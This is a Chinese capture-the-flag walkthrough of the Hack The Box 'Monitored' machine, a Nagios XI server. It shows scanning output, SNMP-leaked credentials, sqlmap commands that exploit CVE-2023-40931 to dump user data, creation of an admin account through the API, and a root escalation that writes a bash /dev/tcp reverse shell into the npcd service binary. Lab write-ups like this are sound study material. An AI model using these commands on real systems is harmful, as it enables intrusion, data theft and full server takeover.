• Hack The Box-Monitored



    目录

    信息收集

    rustscan

    dirsearch

    WEB

    web信息收集

    snmpwalk

    curl POST身份验证

    漏洞探索

    漏洞挖掘

    sqlmap

    登录后台

    提权

    get user

    get root


    信息收集

    rustscan
    1. ┌──(root㉿ru)-[~/kali/hackthebox]
    2. └─# rustscan -b 2250 10.10.11.248 --range=0-65535 --ulimit=4500 -- -Pn -sV -A
    3. .----. .-. .-. .----..---. .----. .---. .--. .-. .-.
    4. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
    5. | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
    6. `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
    7. Faster Nmap scanning with Rust.
    8. ________________________________________
    9. : https://discord.gg/GFrQsGy :
    10. : https://github.com/RustScan/RustScan :
    11. --------------------------------------
    12. Real hackers hack time
    13. [~] The config file is expected to be at "/root/.config/rustscan/config.toml"
    14. [~] Automatically increasing ulimit value to 4500.
    15. Open 10.10.11.248:22
    16. Open 10.10.11.248:80
    17. Open 10.10.11.248:443
    18. Open 10.10.11.248:389
    19. Open 10.10.11.248:5667
    20. [~] Starting Nmap
    21. [>] The Nmap command to be run is nmap -Pn -sV -A -vvv -p 22,80,443,389,5667 10.10.11.248
    22. Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-13 18:11 CST
    23. Initiating Parallel DNS resolution of 1 host. at 18:11
    24. Completed Parallel DNS resolution of 1 host. at 18:11, 0.05s elapsed
    25. DNS resolution of 1 IPs took 0.05s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
    26. Initiating SYN Stealth Scan at 18:11
    27. Scanning 10.10.11.248 [5 ports]
    28. Discovered open port 443/tcp on 10.10.11.248
    29. Discovered open port 80/tcp on 10.10.11.248
    30. Discovered open port 5667/tcp on 10.10.11.248
    31. Discovered open port 22/tcp on 10.10.11.248
    32. Discovered open port 389/tcp on 10.10.11.248
    33. Completed SYN Stealth Scan at 18:11, 2.45s elapsed (5 total ports)
    34. Initiating Service scan at 18:11
    35. Scanning 5 services on 10.10.11.248
    36. Completed Service scan at 18:11, 15.37s elapsed (5 services on 1 host)
    37. Initiating OS detection (try #1) against 10.10.11.248
    38. Retrying OS detection (try #2) against 10.10.11.248
    39. Initiating Traceroute at 18:11
    40. Completed Traceroute at 18:11, 1.82s elapsed
    41. Initiating Parallel DNS resolution of 2 hosts. at 18:11
    42. Completed Parallel DNS resolution of 2 hosts. at 18:12, 2.02s elapsed
    43. DNS resolution of 2 IPs took 2.02s. Mode: Async [#: 1, OK: 0, NX: 2, DR: 0, SF: 0, TR: 2, CN: 0]
    44. Scanned at 2024-03-13 18:11:16 CST for 66s
    45. PORT STATE SERVICE REASON VERSION
    46. 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
    47. | ssh-hostkey:
    48. | 3072 61:e2:e7:b4:1b:5d:46:dc:3b:2f:91:38:e6:6d:c5:ff (RSA)
    49. | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/xFgJTbVC36GNHaE0GG4n/bWZGaD2aE7lsFUvXVdbINrl0qzBPVCMuOE1HNf0LHi09obr2Upt9VURzpYdrQp/7SX2NDet9pb+UQnB1IgjRSxoIxjsOX756a7nzi71tdcR3I0sALQ4ay5I5GO4TvaVq+o8D01v94B0Qm47LVk7J3mN4wFR17lYcCnm0kwxNBsKsAgZVETxGtPgTP6hbauEk/SKGA5GASdWHvbVhRHgmBz2l7oPrTot5e+4m8A7/5qej2y5PZ9Hq/2yOldrNpS77ID689h2fcOLt4fZMUbxuDzQIqGsFLPhmJn5SUCG9aNrWcjZwSL2LtLUCRt6PbW39UAfGf47XWiSs/qTWwW/yw73S8n5oU5rBqH/peFIpQDh2iSmIhbDq36FPv5a2Qi8HyY6ApTAMFhwQE6MnxpysKLt/xEGSDUBXh+4PwnR0sXkxgnL8QtLXKC2YBY04jGG0DXGXxh3xEZ3vmPV961dcsNd6Up8mmSC43g5gj2ML/E=
    50. | 256 29:73:c5:a5:8d:aa:3f:60:a9:4a:a3:e5:9f:67:5c:93 (ECDSA)
    51. | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBbeArqg4dgxZEFQzd3zpod1RYGUH6Jfz6tcQjHsVTvRNnUzqx5nc7gK2kUUo1HxbEAH+cPziFjNJc6q7vvpzt4=
    52. | 256 6d:7a:f9:eb:8e:45:c2:02:6a:d5:8d:4d:b3:a3:37:6f (ED25519)
    53. |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB5o+WJqnyLpmJtLyPL+tEUTFbjMZkx3jUUFqejioAj7
    54. 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.56
    55. | http-methods:
    56. |_ Supported Methods: GET HEAD POST OPTIONS
    57. |_http-server-header: Apache/2.4.56 (Debian)
    58. |_http-title: Did not follow redirect to https://nagios.monitored.htb/
    59. 389/tcp open ldap syn-ack ttl 63 OpenLDAP 2.2.X - 2.3.X
    60. 443/tcp open ssl/http syn-ack ttl 63 Apache httpd 2.4.56 ((Debian))
    61. | tls-alpn:
    62. |_ http/1.1
    63. |_http-title: Nagios XI
    64. |_ssl-date: TLS randomness does not represent time
    65. |_http-server-header: Apache/2.4.56 (Debian)
    66. | ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK/localityName=Bournemouth/emailAddress=support@monitored.htb
    67. | Issuer: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK/localityName=Bournemouth/emailAddress=support@monitored.htb
    68. | Public Key type: rsa
    69. | Public Key bits: 2048
    70. | Signature Algorithm: sha256WithRSAEncryption
    71. | Not valid before: 2023-11-11T21:46:55
    72. | Not valid after: 2297-08-25T21:46:55
    73. | MD5: b36a:5560:7a5f:047d:9838:6450:4d67:cfe0
    74. | SHA-1: 6109:3844:8c36:b08b:0ae8:a132:971c:8e89:cfac:2b5b
    75. | -----BEGIN CERTIFICATE-----
    76. | MIID/zCCAuegAwIBAgIUVhOvMcK6dv/Kvzplbf6IxOePX3EwDQYJKoZIhvcNAQEL
    77. | BQAwgY0xCzAJBgNVBAYTAlVLMQ8wDQYDVQQIDAZEb3JzZXQxFDASBgNVBAcMC0Jv
    78. | dXJuZW1vdXRoMRIwEAYDVQQKDAlNb25pdG9yZWQxHTAbBgNVBAMMFG5hZ2lvcy5t
    79. | b25pdG9yZWQuaHRiMSQwIgYJKoZIhvcNAQkBFhVzdXBwb3J0QG1vbml0b3JlZC5o
    80. | dGIwIBcNMjMxMTExMjE0NjU1WhgPMjI5NzA4MjUyMTQ2NTVaMIGNMQswCQYDVQQG
    81. | EwJVSzEPMA0GA1UECAwGRG9yc2V0MRQwEgYDVQQHDAtCb3VybmVtb3V0aDESMBAG
    82. | A1UECgwJTW9uaXRvcmVkMR0wGwYDVQQDDBRuYWdpb3MubW9uaXRvcmVkLmh0YjEk
    83. | MCIGCSqGSIb3DQEJARYVc3VwcG9ydEBtb25pdG9yZWQuaHRiMIIBIjANBgkqhkiG
    84. | 9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1qRRCKn9wFGquYFdqh7cp4WSTPnKdAwkycqk
    85. | a3WTY0yOubucGmA3jAVdPuSJ0Vp0HOhkbAdo08JVzpvPX7Lh8mIEDRSX39FDYClP
    86. | vQIAldCuWGkZ3QWukRg9a7dK++KL79Iz+XbIAR/XLT9ANoMi8/1GP2BKHvd7uJq7
    87. | LV0xrjtMD6emwDTKFOk5fXaqOeODgnFJyyXQYZrxQQeSATl7cLc1AbX3/6XBsBH7
    88. | e3xWVRMaRxBTwbJ/mZ3BicIGpxGGZnrckdQ8Zv+LRiwvRl1jpEnEeFjazwYWrcH+
    89. | 6BaOvmh4lFPBi3f/f/z5VboRKP0JB0r6I3NM6Zsh8V/Inh4fxQIDAQABo1MwUTAd
    90. | BgNVHQ4EFgQU6VSiElsGw+kqXUryTaN4Wp+a4VswHwYDVR0jBBgwFoAU6VSiElsG
    91. | w+kqXUryTaN4Wp+a4VswDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOC
    92. | AQEAdPGDylezaB8d/u2ufsA6hinUXF61RkqcKGFjCO+j3VrrYWdM2wHF83WMQjLF
    93. | 03tSek952fObiU2W3vKfA/lvFRfBbgNhYEL0dMVVM95cI46fNTbignCj2yhScjIz
    94. | W9oeghcR44tkU4sRd4Ot9L/KXef35pUkeFCmQ2Xm74/5aIfrUzMnzvazyi661Q97
    95. | mRGL52qMScpl8BCBZkdmx1SfcVgn6qHHZpy+EJ2yfJtQixOgMz3I+hZYkPFjMsgf
    96. | k9w6Z6wmlalRLv3tuPqv8X3o+fWFSDASlf2uMFh1MIje5S/jp3k+nFhemzcsd/al
    97. | 4c8NpU/6egay1sl2ZrQuO8feYA==
    98. |_-----END CERTIFICATE-----
    99. | http-methods:
    100. |_ Supported Methods: GET HEAD POST OPTIONS
    101. 5667/tcp open tcpwrapped syn-ack ttl 63
    102. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    103. OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
    104. Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
    105. No exact OS matches for host (test conditions non-ideal).
    106. TCP/IP fingerprint:
    107. SCAN(V=7.94SVN%E=4%D=3/13%OT=22%CT=%CU=34063%PV=Y%DS=2%DC=T%G=N%TM=65F17C06%P=x86_64-pc-linux-gnu)
    108. SEQ(SP=103%GCD=1%ISR=10C%TI=Z%CI=Z%II=I)
    109. SEQ(SP=103%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)
    110. OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)
    111. WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
    112. ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)
    113. T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
    114. T2(R=N)
    115. T3(R=N)
    116. T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
    117. T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
    118. T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
    119. T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
    120. U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
    121. IE(R=Y%DFI=N%T=40%CD=S)
    122. Uptime guess: 0.000 days (since Wed Mar 13 18:11:44 2024)
    123. Network Distance: 2 hops
    124. TCP Sequence Prediction: Difficulty=259 (Good luck!)
    125. IP ID Sequence Generation: All zeros
    126. Service Info: Host: nagios.monitored.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
    127. TRACEROUTE (using port 443/tcp)
    128. HOP RTT ADDRESS
    129. 1 812.12 ms 10.10.14.1
    130. 2 812.21 ms 10.10.11.248
    131. NSE: Script Post-scanning.
    132. NSE: Starting runlevel 1 (of 3) scan.
    133. Initiating NSE at 18:12
    134. Completed NSE at 18:12, 0.00s elapsed
    135. NSE: Starting runlevel 2 (of 3) scan.
    136. Initiating NSE at 18:12
    137. Completed NSE at 18:12, 0.00s elapsed
    138. NSE: Starting runlevel 3 (of 3) scan.
    139. Initiating NSE at 18:12
    140. Completed NSE at 18:12, 0.00s elapsed
    141. Read data files from: /usr/bin/../share/nmap
    142. OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    143. Nmap done: 1 IP address (1 host up) scanned in 65.44 seconds
    144. Raw packets sent: 74 (4.876KB) | Rcvd: 53 (3.644KB)
    1. 使用rustscan高效扫描端口以及对应服务的版本!
    2. 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
    3. 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.56
    4. 389/tcp open ldap syn-ack ttl 63 OpenLDAP 2.2.X - 2.3.X
    5. 443/tcp open ssl/http syn-ack ttl 63 Apache httpd 2.4.56 ((Debian))
    6. 5667/tcp open tcpwrapped syn-ack ttl 63
    1. 因为80端口的web服务存在dns,我们将其加入到hosts文件中!
    2. nagios.monitored.htb
    3. echo "10.10.11.248 nagios.monitored.htb" | tee -a /etc/hosts


    dirsearch
    1. ┌──(root㉿ru)-[~/kali/hackthebox]
    2. └─# dirsearch -u https://nagios.monitored.htb/ -x 403
    3. /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
    4. from pkg_resources import DistributionNotFound, VersionConflict
    5. _|. _ _ _ _ _ _|_ v0.4.3
    6. (_||| _) (/_(_|| (_| )
    7. Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
    8. Output File: /root/kali/hackthebox/reports/https_nagios.monitored.htb/__24-03-13_18-28-46.txt
    9. Target: https://nagios.monitored.htb/
    10. [18:28:46] Starting:
    11. [18:31:15] 301 - 335B - /javascript -> https://nagios.monitored.htb/javascript/
    12. [18:31:41] 401 - 468B - /nagios
    13. [18:31:41] 401 - 468B - /nagios/
    14. Task Completed

    WEB

    web信息收集

    点击后跳转到一个登录页面!既然存在登录框,看来是需要登录了!
    

    1. ┌──(root㉿ru)-[~/kali/hackthebox]
    2. └─# dirsearch -u https://nagios.monitored.htb/nagiosxi/ -x 403
    3. /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
    4. from pkg_resources import DistributionNotFound, VersionConflict
    5. _|. _ _ _ _ _ _|_ v0.4.3
    6. (_||| _) (/_(_|| (_| )
    7. Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
    8. Output File: /root/kali/hackthebox/reports/https_nagios.monitored.htb/_nagiosxi__24-03-13_20-21-22.txt
    9. Target: https://nagios.monitored.htb/
    10. [20:21:22] Starting: nagiosxi/
    11. [20:22:28] 301 - 339B - /nagiosxi/about -> https://nagios.monitored.htb/nagiosxi/about/
    12. [20:22:31] 301 - 341B - /nagiosxi/account -> https://nagios.monitored.htb/nagiosxi/account/
    13. [20:22:31] 302 - 27B - /nagiosxi/account/ -> https://nagios.monitored.htb/nagiosxi/login.php?redirect=/nagiosxi/account/index.php%3f&noauth=1
    14. [20:22:35] 301 - 339B - /nagiosxi/admin -> https://nagios.monitored.htb/nagiosxi/admin/
    15. [20:22:38] 302 - 27B - /nagiosxi/admin/ -> https://nagios.monitored.htb/nagiosxi/login.php?redirect=/nagiosxi/admin/index.php%3f&noauth=1
    16. [20:22:40] 302 - 27B - /nagiosxi/admin/index.php -> https://nagios.monitored.htb/nagiosxi/login.php?redirect=/nagiosxi/admin/index.php%3f&noauth=1
    17. [20:23:09] 301 - 337B - /nagiosxi/api -> https://nagios.monitored.htb/nagiosxi/api/
    18. [20:23:09] 301 - 340B - /nagiosxi/api/v1 -> https://nagios.monitored.htb/nagiosxi/api/v1/
    19. [20:23:09] 200 - 32B - /nagiosxi/api/v1/
    20. [20:23:09] 200 - 32B - /nagiosxi/api/v1/swagger.json
    21. [20:23:09] 200 - 32B - /nagiosxi/api/v1/swagger.yaml
    22. [20:23:19] 200 - 104B - /nagiosxi/backend/
    23. [20:23:37] 301 - 340B - /nagiosxi/config -> https://nagios.monitored.htb/nagiosxi/config/
    24. [20:23:38] 200 - 0B - /nagiosxi/config.inc.php
    25. [20:23:38] 302 - 27B - /nagiosxi/config/ -> https://nagios.monitored.htb/nagiosxi/login.php?redirect=/nagiosxi/config/index.php%3f&noauth=1
    26. [20:23:45] 301 - 336B - /nagiosxi/db -> https://nagios.monitored.htb/nagiosxi/db/
    27. [20:24:06] 301 - 338B - /nagiosxi/help -> https://nagios.monitored.htb/nagiosxi/help/
    28. [20:24:06] 302 - 27B - /nagiosxi/help/ -> https://nagios.monitored.htb/nagiosxi/login.php?redirect=/nagiosxi/help/index.php%3f&noauth=1
    29. [20:24:10] 301 - 340B - /nagiosxi/images -> https://nagios.monitored.htb/nagiosxi/images/
    30. [20:24:12] 301 - 342B - /nagiosxi/includes -> https://nagios.monitored.htb/nagiosxi/includes/
    31. [20:24:14] 302 - 27B - /nagiosxi/index.php -> https://nagios.monitored.htb/nagiosxi/login.php?redirect=/nagiosxi/index.php%3f&noauth=1
    32. [20:24:15] 302 - 27B - /nagiosxi/index.php/login/ -> https://nagios.monitored.htb/nagiosxi/login.php?redirect=/nagiosxi/index.php/login/%3f&noauth=1
    33. [20:24:16] 302 - 0B - /nagiosxi/install.php -> https://nagios.monitored.htb/nagiosxi/
    34. [20:24:19] 302 - 0B - /nagiosxi/install.php?profile=default -> https://nagios.monitored.htb/nagiosxi/
    35. [20:24:32] 200 - 6KB - /nagiosxi/login.php
    36. [20:24:43] 301 - 340B - /nagiosxi/mobile -> https://nagios.monitored.htb/nagiosxi/mobile/
    37. [20:25:18] 301 - 341B - /nagiosxi/reports -> https://nagios.monitored.htb/nagiosxi/reports/
    38. [20:25:46] 301 - 339B - /nagiosxi/tools -> https://nagios.monitored.htb/nagiosxi/tools/
    39. [20:25:46] 302 - 27B - /nagiosxi/tools/ -> https://nagios.monitored.htb/nagiosxi/login.php?redirect=/nagiosxi/tools/index.php%3f&noauth=1
    40. [20:25:48] 302 - 0B - /nagiosxi/upgrade.php -> index.php
    41. [20:25:54] 301 - 339B - /nagiosxi/views -> https://nagios.monitored.htb/nagiosxi/views/
    42. Task Completed

    我们使用dirsearch再次进行扫描!
    

    /backend目录

    身份验证失败
    

    /terminal 目录

    一个终端面板!一分钟过后就会超时!
    

    /api/v1

    显示没有提出请求,看来它需要我们提出请求?
    

    额,需要api密钥!
    

    api/v1/authenticate

    需要post进行身份验证!额!
    

    snmpwalk
    1. 我发现在web主页压根找不到任何关于api密钥的信息!我们还有一个443端口没有测试过!我们使用snmpwalk工具进行测试查询!
    snmpwalk -v 2c -c public 10.10.11.248
    

    1. 发现账号密码
    2. svc : XjH7VCehowpR1xZB

    curl POST身份验证
    curl -X POST https://nagios.monitored.htb/nagiosxi/api/v1/authenticate -k -L -d 'username=svc&password=XjH7VCehowpR1xZB'
    
    1. ┌──(root㉿ru)-[~/tools/RustScan/RustScan]
    2. └─# curl -X POST https://nagios.monitored.htb/nagiosxi/api/v1/authenticate -k -L -d 'username=svc&password=XjH7VCehowpR1xZB'
    3. {"username":"svc","user_id":"2","auth_token":"e0d1d36938cb92ebe0697a456a29dd7b5c3e6c79","valid_min":5,"valid_until":"Wed, 13 Mar 2024 09:16:07 -0400"}
    1. 登录成功,我们可以获取到一个token!??啥用啊??

    漏洞探索

    漏洞挖掘

    1. 这里汇聚了 Nagios XI 的多个漏洞!其中有个漏洞需要配合token和id进行利用!于是经过我的搜索发现是 CVE-2023-40931.
    2. 具体请看这篇文章!!

    https://medium.com/@n1ghtcr4wl3r/nagios-xi-vulnerability-cve-2023-40931-sql-injection-in-banner-ace8258c5567icon-default.png?t=N7T8https://medium.com/@n1ghtcr4wl3r/nagios-xi-vulnerability-cve-2023-40931-sql-injection-in-banner-ace8258c5567


    1. 漏洞详细信息:CVE-2023-40931
    2. CVE-2023-40931漏洞专门针对Nagios XI中的Banner确认端点。
    3. 当用户确认横幅时,POST请求会发送到/nagiosxi/admin/banner_message-ajaxhelper.php,
    4. 参数如下:action=acknowledge_banner_message和id=3
    5. 这个问题是由于假设“id”参数是可信的,即使它是直接从客户端接收的,没有经过适当的清理。

    1. 那好办了!我们直接利用吧!
    2. /nagiosxi/admin/banner_message-ajaxhelper.php
    3. 参数如下:action=acknowledge_banner_message和id=3

    超时了!那我们直接上sqlmap吧!因为根据该漏洞的描述,是存在一个sql注入的漏洞的!估计还要加token!
    

    sqlmap
    1. payload
    2. sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=7e4bc15f9559593f0726f9cd8b6842338e5b18df" -p id
    3. 经过我的测试,必须加上token!
    4. 我们利用curl生成一个token,然后加上就OK了!

    是mysql数据库!
    

    1. 存在sql注入!
    2. 在每一次运行完成后,我们都需要重新更换token!

    1. 检查:
    2. sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=7e4bc15f9559593f0726f9cd8b6842338e5b18df" -p id
    3. 爆库:
    4. sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=c98ca61fce8b2e87c00fa9ff999816eb30cca710" -p id -level=5 -ris
    5. k=3 -dbs
    6. 爆表
    7. sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=1b61886674b353221d18e65d48db8659ea382eb5" -p id -level=5 -risk=3 -D nagiosxi -tables
    8. 爆列:
    9. sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=18ae1d415db88668d09a8c7a3bb3b549ec74636e" -p id -level=5 -risk=3 -D nagiosxi -T xi_users -columns
    10. 爆字段:
    11. sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=d2b20dadf05aa41e88091a2ca9896b4a510625f9" -p id -level=5 -risk=3 -D nagiosxi -T xi_users -C username,password -dump

    1. 这个hash加密很难破解出来,倒是这个api-key,不知道干哈的!
    2. 根据我对数据库的信息收集发现,这个应该就是注册账号用的api!我们利用这个api重新注册一个账号!!

    登录后台
    1. ┌──(root㉿ru)-[~/kali/hackthebox]
    2. └─# curl -POST -k "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=oppo&password=oppo&name=oppo&email=oppo@monitored.htb&auth_level=admin"
    3. {
    4. "success": "User account oppo was added successfully!",
    5. "user_id": 7
    6. }
    7. 使用cURL工具向Nagios XI监控系统的API端点发出一个POST请求。让我们分解一下这个命令的组成部分:
    8. 1. `-X POST`:这个选项指定你正在发出一个POST请求。它告诉cURL在与服务器通信时使用HTTP POST方法。
    9. 2. `-k`:这个选项允许cURL建立不安全的连接,跳过SSL证书验证。这在测试时很有用,特别是在处理自签名证书或连接到具有过期证书的服务器时。然而,出于安全原因,除非绝对必要,否则不建议在生产环境中使用。
    10. 3. `"https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1"`:这是你正在发送POST请求的API端点的URL。它包含了API密钥作为查询参数进行身份验证,并包含`pretty=1`参数以使响应以人类可读的方式格式化。
    11. 4. `-d "username=oppo&password=oppo&name=oppo&email=oppo@monitored.htb&auth_level=admin"`:这个选项指定要与POST请求一起发送的数据。在这种情况下,它是一系列由`&`字符分隔的键值对。它包括了创建一个新用户所需的参数,比如用户名、密码、姓名、电子邮件和认证级别。


    使用我们利用api注册的账号进行登录!
    

    1. 我们需要利用这个进行反弹shell!
    2. Configure > Core Config Manager > Commands > Add New

    写好payload就直接save保存即可!
    

    Configure > Core Config Manager > Services> Add New
    

    kali开启监听!点击 Run Check Command 即可成功反弹shell!
    


    提权

    get user

    1. python3 -c 'import pty;pty.spawn("/bin/bash")'
    2. export TERM=xterm

    得到user.txt,千万别乱编辑系统文件!
    

    get root
    1. nagios@monitored:~$ sudo -l
    2. sudo -l
    3. Matching Defaults entries for nagios on localhost:
    4. env_reset, mail_badpass,
    5. secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
    6. User nagios may run the following commands on localhost:
    7. (root) NOPASSWD: /etc/init.d/nagios start
    8. (root) NOPASSWD: /etc/init.d/nagios stop
    9. (root) NOPASSWD: /etc/init.d/nagios restart
    10. (root) NOPASSWD: /etc/init.d/nagios reload
    11. (root) NOPASSWD: /etc/init.d/nagios status
    12. (root) NOPASSWD: /etc/init.d/nagios checkconfig
    13. (root) NOPASSWD: /etc/init.d/npcd start
    14. (root) NOPASSWD: /etc/init.d/npcd stop
    15. (root) NOPASSWD: /etc/init.d/npcd restart
    16. (root) NOPASSWD: /etc/init.d/npcd reload
    17. (root) NOPASSWD: /etc/init.d/npcd status
    18. (root) NOPASSWD: /usr/bin/php
    19. /usr/local/nagiosxi/scripts/components/autodiscover_new.php *
    20. (root) NOPASSWD: /usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php *
    21. (root) NOPASSWD: /usr/bin/php
    22. /usr/local/nagiosxi/scripts/migrate/migrate.php *
    23. (root) NOPASSWD: /usr/local/nagiosxi/scripts/components/getprofile.sh
    24. (root) NOPASSWD: /usr/local/nagiosxi/scripts/upgrade_to_latest.sh
    25. (root) NOPASSWD: /usr/local/nagiosxi/scripts/change_timezone.sh
    26. (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *
    27. (root) NOPASSWD: /usr/local/nagiosxi/scripts/reset_config_perms.sh
    28. (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_ssl_config.sh *
    29. (root) NOPASSWD: /usr/local/nagiosxi/scripts/backup_xi.sh
    1. 这些都是系统的管理服务脚本!
    2. (root) NOPASSWD: /usr/local/nagiosxi/scripts/manage_services.sh *
    3. 因为该服务设置了无密码执行!所以即使是普通用户也可以进行编辑并运行!而且这个是自动脚本,我们可以通过修改配置文件,让计划任务自动执行!我们可以在配置文件里写入payload;
    4. 这样就可以把root权限的shell反弹到本地!
    5. 我们只需要删除npcd服务,重新写入payload即可!
    1. 1、写入payload
    2. echo '#!/bin/bash' > /usr/local/nagios/bin/npcd
    3. echo "bash -c 'bash -i >& /dev/tcp/10.10.14.36/5656 0>&1'" >> /usr/local/nagios/bin/npcd
    4. 2、kali监听
    5. 2、重新运行
    6. sudo /usr/local/nagiosxi/scripts/manage_services.sh restart npcd


    很细节!!
    
  • 相关阅读:
    基于自编译的onlyoffice镜像,关于修改字体的问题
    阿里云弹性手机购买与配置
    JVM是什么?Java程序为啥需要运行在JVM中?
    Halcon实现3维点云平面拟合
    【C++进阶(九)】C++多态深度剖析
    华为数通方向HCIP-DataCom H12-831题库(多选题:61-80)
    Ultra-Fast-Lane-Detection-v2 裁剪数据增强
    Springboot 打成jar包后 结合idea remote 远程debug
    FreeRTOS教程10 低功耗
    局域网IP扫描
  • 原文地址:https://blog.csdn.net/rx3225968517/article/details/136717656